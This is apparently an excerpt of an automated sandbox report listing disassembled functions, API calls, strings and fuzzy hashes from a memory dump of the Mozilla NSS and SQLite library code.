Part of subcall function 6CF49440: LeaveCriticalSection.KERNEL32 ref: 6CF4955D

PR_EnterMonitor.NSS3 ref: 6CEBC068

Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490AB
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490C9
Part of subcall function 6CF49090: EnterCriticalSection.KERNEL32 ref: 6CF490E5
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49116
Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF4913F

Part of subcall function 6CE70600: GetProcAddress.KERNEL32(?,?), ref: 6CE70623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CEBC14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CEBC183
free.MOZGLUE(00000000), ref: 6CEBC18E
PR_LoadLibrary.NSS3(?), ref: 6CEBC1A3
PR_EnterMonitor.NSS3 ref: 6CEBC1D4
PR_ExitMonitor.NSS3 ref: 6CEBC1F3
PR_CallOnce.NSS3(6CFE2318,6CEBCA70), ref: 6CEBC210
PR_EnterMonitor.NSS3 ref: 6CEBC22B
PR_ExitMonitor.NSS3 ref: 6CEBC247
PR_EnterMonitor.NSS3 ref: 6CEBC26A
PR_ExitMonitor.NSS3 ref: 6CEBC287
PR_UnloadLibrary.NSS3(?), ref: 6CEBC2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CEBC392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEBC3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CEBC3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CEBC782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CEBC7B5
PR_UnloadLibrary.NSS3(?), ref: 6CEBC7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CEBC82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEBC8BF
PORT_Alloc_Util.NSS3(?), ref: 6CEBC8D5
free.MOZGLUE(00000000), ref: 6CEBC900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEBC9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEBC9E5
free.MOZGLUE(00000000), ref: 6CEBCA5A

Strings

NSS_FORCE_TOKEN_LOCK, xrefs: 6CEBC77D
NSC_GetInterface, xrefs: 6CEBC04F
nss_mod_log, xrefs: 6CEBC3CC
PKCS 11, xrefs: 6CEBC2F9, 6CEBC314
NSS_DISABLE_UNLOAD, xrefs: 6CEBC7B0
NSC_GetFunctionList, xrefs: 6CEBC093
Vendor NSS FIPS Interface, xrefs: 6CEBC34A
FC_GetFunctionList, xrefs: 6CEBC098
NSS_ReturnModuleSpecData, xrefs: 6CEBC275
FC_GetInterface, xrefs: 6CEBC054
NSC_ModuleDBFunc, xrefs: 6CEBC0FC
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CEBC38D

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 985ba2cd9789994c65a2bf53bb33442898e7952a72f3d6348cc84051e4472f4d
Instruction ID: 3057549cfef477b036291d7521b8aa4473c843ea0812a27c56f9c56d4b58772a
Opcode Fuzzy Hash: 985ba2cd9789994c65a2bf53bb33442898e7952a72f3d6348cc84051e4472f4d
Instruction Fuzzy Hash: 0142A3B1F14206AFEF84DF54CA47B6A3BB5BB4A308F244029D805ABB21E736D545CB91

Function 6CF93FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CF93FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF93FFE
malloc.MOZGLUE(-00000003), ref: 6CF94016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CFCFC62), ref: 6CF9404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF9407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF940A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF940D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF94112
malloc.MOZGLUE(00000000), ref: 6CF9411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CF9414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF94160
free.MOZGLUE(?), ref: 6CF9416C
malloc.MOZGLUE(?), ref: 6CF941AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CF941EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CF94520), ref: 6CF94244
GetEnvironmentStrings.KERNEL32 ref: 6CF9424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF94263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF94283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF942B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF942E4
malloc.MOZGLUE(00000002), ref: 6CF942FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF94342
GetStdHandle.KERNEL32(000000F6), ref: 6CF943AB
GetStdHandle.KERNEL32(000000F5), ref: 6CF943B2
GetStdHandle.KERNEL32(000000F4), ref: 6CF943B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF94403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF94410

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CF9445E
CloseHandle.KERNEL32(?), ref: 6CF9446B
free.MOZGLUE(?), ref: 6CF94482
free.MOZGLUE(00000000), ref: 6CF94492
free.MOZGLUE(00000000), ref: 6CF944A4
GetLastError.KERNEL32 ref: 6CF944B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CF944BE
free.MOZGLUE(?), ref: 6CF944C7
free.MOZGLUE(00000000), ref: 6CF944D5
free.MOZGLUE(00000000), ref: 6CF944EA

Strings

=, xrefs: 6CF944F8
NSPR_INHERIT_FDS=, xrefs: 6CF941E9
D, xrefs: 6CF94396

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 57874e34479e8b1115e157f86befe432132b48ebf760a9bb57fa333d673559d0
Instruction ID: 67fb365248b65a3536e60bbce07359254e56ee37062657355477cf1177ab1b2b
Opcode Fuzzy Hash: 57874e34479e8b1115e157f86befe432132b48ebf760a9bb57fa333d673559d0
Instruction Fuzzy Hash: 1602D271E043519BFF119F7988807AEBFB4BF26308F254169DC6AA7742D731A844CB92

Function 6CEA6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CFAA8EC,0000006C), ref: 6CEA6DC6
memcpy.VCRUNTIME140(?,6CFAA958,0000006C), ref: 6CEA6DDB
memcpy.VCRUNTIME140(?,6CFAA9C4,00000078), ref: 6CEA6DF1
memcpy.VCRUNTIME140(?,6CFAAA3C,0000006C), ref: 6CEA6E06
memcpy.VCRUNTIME140(?,6CFAAAA8,00000060), ref: 6CEA6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEA6E38

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CEA6E76
TlsGetValue.KERNEL32 ref: 6CEA726F
EnterCriticalSection.KERNEL32(?), ref: 6CEA7283

Strings

!, xrefs: 6CEA7123

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: dfa49e978b340158991af57db83f9ad02cc22defb6f08936e91e5330a9386132
Instruction ID: 9aa9f78220553fd2a3220654d45b992748968eb59541045fc8b8d37955b601a2
Opcode Fuzzy Hash: dfa49e978b340158991af57db83f9ad02cc22defb6f08936e91e5330a9386132
Instruction Fuzzy Hash: 72729075D052149FDF60CF68CC8879ABBB5AF49308F2041E9D80CAB315DB31AA86CF91

Function 6CE13C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE13C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CE13D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE13EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE13ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE13F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE14052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE1406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CE1410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE1449C

Strings

%s at line %d of [%.10s], xrefs: 6CE14495, 6CE144F9, 6CE1459E, 6CE14769, 6CE14809
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE14452, 6CE14486, 6CE144EA, 6CE14571, 6CE14580, 6CE1458F, 6CE1475A, 6CE147FA
database corruption, xrefs: 6CE14490, 6CE144F4, 6CE14599, 6CE14764, 6CE14804

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 0b90147fb0eaa17fe5f7d3732204fe075f0a3bfe519e3fddfb5d5379c982899d
Instruction ID: 0fda9099c9b53f122ba3fe93106b7abfa1b3515753015ad8e6dd82b264d5e589
Opcode Fuzzy Hash: 0b90147fb0eaa17fe5f7d3732204fe075f0a3bfe519e3fddfb5d5379c982899d
Instruction Fuzzy Hash: B9828B75A08205DFCB04CF69C480B9AB7B2BF4931CF3585AAD905ABB51E731EC52CB91

Function 6CEEAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEEACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CEEACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CEEACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CEEAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CEEADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEEADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEEADF0

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEEB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEEB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEEB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEEB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CEEB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEEB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEEB40C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 00a901e17fd56fc3d3d4c10ec215e5f6fd7a27c18c0c6fd2ee9cee0cf5e511c6
Instruction ID: 1ddf0b15372922a8fae30ef6a9ad3a69d4487f38f7a3ffce85d51e570af9e802
Opcode Fuzzy Hash: 00a901e17fd56fc3d3d4c10ec215e5f6fd7a27c18c0c6fd2ee9cee0cf5e511c6
Instruction Fuzzy Hash: CF228C71904301ABE710CF14CC45B9A77F1AF8834CF24856CE8595F7A2E772E859CB9A

Function 6CE31F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE325F3

Strings

recursive reference in a subquery: %s, xrefs: 6CE322E5
unsafe use of virtual table "%s", xrefs: 6CE330D1
a NATURAL join may not have an ON or USING clause, xrefs: 6CE332C1
'%s' is not a function, xrefs: 6CE32FD2
cannot join using column %s - column not present in both tables, xrefs: 6CE332AB
H, xrefs: 6CE3329F
no tables specified, xrefs: 6CE326BE
no such table: %s, xrefs: 6CE326AC
access to view "%s" prohibited, xrefs: 6CE32F4A
multiple recursive references: %s, xrefs: 6CE322E0
cannot have both ON and USING clauses in the same join, xrefs: 6CE332B5
too many references to "%s": max 65535, xrefs: 6CE32FB6
H, xrefs: 6CE3322D
no such index: "%s", xrefs: 6CE3319D
too many columns in result set, xrefs: 6CE33012
table %s has %d values for %d columns, xrefs: 6CE3316C
%s.%s, xrefs: 6CE32D68
%s.%s.%s, xrefs: 6CE3302D

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: ad200f0feff206238c9240417f7b69a68e52b73dbfa979107e8c9fadd6afa439
Instruction ID: a1447f47b86500413941fd4c3b520a2f50babb4a150b8a9cdd3b947bb706a8b8
Opcode Fuzzy Hash: ad200f0feff206238c9240417f7b69a68e52b73dbfa979107e8c9fadd6afa439
Instruction Fuzzy Hash: 03D28E70E04229CFDB04CF99C484B9DB7B1BF59308F3891A9D899AB752D735B846CB90

Function 6CE6ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE6ED38

Part of subcall function 6CE04F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE04FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CE6EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CE6EFE4

Part of subcall function 6CF2DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CE05001,?,00000003,00000000), ref: 6CF2DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CE6F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CE6F129
sqlite3_mprintf.NSS3(optimize), ref: 6CE6F1D1
sqlite3_free.NSS3(?), ref: 6CE6F368

Strings

matchinfo, xrefs: 6CE6F04F, 6CE6F082, 6CE6F0C2, 6CE6F0F2, 6CE6F124, 6CE6F169
unicode61, xrefs: 6CE6EDB5
porter, xrefs: 6CE6ED97
fts3_tokenizer, xrefs: 6CE6EE1A, 6CE6EEA8
simple, xrefs: 6CE6ED79
fts4aux, xrefs: 6CE6ECF9
fts3, xrefs: 6CE6F247
fts3tokenize, xrefs: 6CE6F30F
offsets, xrefs: 6CE6EFAF, 6CE6EFDF, 6CE6F01F
optimize, xrefs: 6CE6F199, 6CE6F1CC, 6CE6F211
fts4, xrefs: 6CE6F2AD
snippet, xrefs: 6CE6EF05, 6CE6EF37, 6CE6EF7C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 85287e0c3ab140693c57ecde0d81a60a689e9affe6f82a39d556a38080b91d51
Instruction ID: 2692bccc68e48be4bb604e24931cf1828b8c946e7348790fef3af6c82f24dc63
Opcode Fuzzy Hash: 85287e0c3ab140693c57ecde0d81a60a689e9affe6f82a39d556a38080b91d51
Instruction Fuzzy Hash: A90203B1BA43015BE7049F72988532B76B26BC530CF24893CD85A87F41EB78E856C792

Function 6CEE7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CEE7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CEE7D1E

Part of subcall function 6CEE7870: SECOID_FindOID_Util.NSS3(?,?,?,6CEE91C5), ref: 6CEE788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEE7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CEE7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CEE7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEE7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CEE7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CEE7E58

Part of subcall function 6CEE7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CEE91C5), ref: 6CEE78BB
Part of subcall function 6CEE7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CEE91C5), ref: 6CEE78FA
Part of subcall function 6CEE7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CEE91C5), ref: 6CEE7930
Part of subcall function 6CEE7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CEE91C5), ref: 6CEE7951
Part of subcall function 6CEE7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEE7964
Part of subcall function 6CEE7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEE797A
Part of subcall function 6CEE7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CEE7988
Part of subcall function 6CEE7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CEE7998
Part of subcall function 6CEE7870: free.MOZGLUE(00000000), ref: 6CEE79A7
Part of subcall function 6CEE7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CEE91C5), ref: 6CEE79BB
Part of subcall function 6CEE7870: PR_GetCurrentThread.NSS3(?,?,?,?,6CEE91C5), ref: 6CEE79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEE7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEE7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CEE7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEE7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CEE7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CEE8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CEE8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CEE8093
SECOID_FindOID_Util.NSS3 ref: 6CEE7F29

Part of subcall function 6CEE07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE88298,?,?,?,6CE7FCE5,?), ref: 6CEE07BF
Part of subcall function 6CEE07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CEE07E6
Part of subcall function 6CEE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE081B
Part of subcall function 6CEE07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEE0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CEE8072
SECOID_FindOID_Util.NSS3 ref: 6CEE80F5

Part of subcall function 6CEEBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CEE800A,00000000,?,00000000,?), ref: 6CEEBC3F

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: 8002e5a50ec8c56e550f14edcd1160422aeb5e6b2b23a32fe89795422f0c0e2b
Instruction ID: 088c7973a6f8b8f6cd1308af11a94f6fb355775b110d986f12213debbebaf22b
Opcode Fuzzy Hash: 8002e5a50ec8c56e550f14edcd1160422aeb5e6b2b23a32fe89795422f0c0e2b
Instruction Fuzzy Hash: A7E18F716053019FE710CF28D880B5A77F5AF4938CF25496DE89A9BB62E731EC05CB92

Function 6CE71C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CE71C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CE71C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CE71CA1
GetLengthSid.ADVAPI32(?), ref: 6CE71CA9
malloc.MOZGLUE(00000000), ref: 6CE71CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE71CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CE71CE4
GetLengthSid.ADVAPI32(?), ref: 6CE71CEC
malloc.MOZGLUE(00000000), ref: 6CE71CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CE71D0F
CloseHandle.KERNEL32(?), ref: 6CE71D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CE71D4D
